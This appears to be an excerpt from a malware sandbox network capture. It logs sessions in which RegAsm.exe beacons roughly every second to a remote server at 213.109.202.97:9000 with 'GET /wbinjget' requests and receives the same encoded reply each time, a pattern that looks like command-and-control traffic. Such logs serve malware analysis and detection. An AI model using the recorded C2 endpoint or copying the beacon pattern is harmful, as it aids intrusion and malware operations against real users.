Oct 19, 2024 03:38:05.656043053 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:05 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49991	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:05.762886047 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:06.635626078 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:06 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49997	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:06.747378111 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:07.617017031 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:07 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	50004	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:07.732021093 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:08.619048119 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:07 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	50014	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:08.731970072 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:09.614825010 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:08 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	50019	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:09.732120037 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:10.613722086 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:09 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	50025	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:10.732470989 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:11.623174906 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:10 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	50027	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:11.747443914 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:12.626867056 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:11 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	50028	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:12.748214006 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:13.679984093 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:13 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	50029	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:13.794529915 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:14.690707922 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:14 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	50030	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:14.811181068 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:15.686868906 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:14 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	50031	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:15.794862032 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:16.664808989 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:15 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	50032	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:16.783705950 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:17.666306019 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:17 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	50033	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:17.782896042 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:18.656366110 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:17 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	50034	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:18.779835939 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:19.687064886 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:18 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	50035	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:19.795116901 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:20.684130907 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:19 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	50036	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:20.795119047 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:21.684338093 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:21 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	50040	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:21.795219898 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:22.711195946 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:22 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	50043	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:22.830564976 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:23.747430086 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:23 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	50044	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:23.859088898 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:38:24.749825001 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:38:24 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	50045	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:38:24.857604027 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
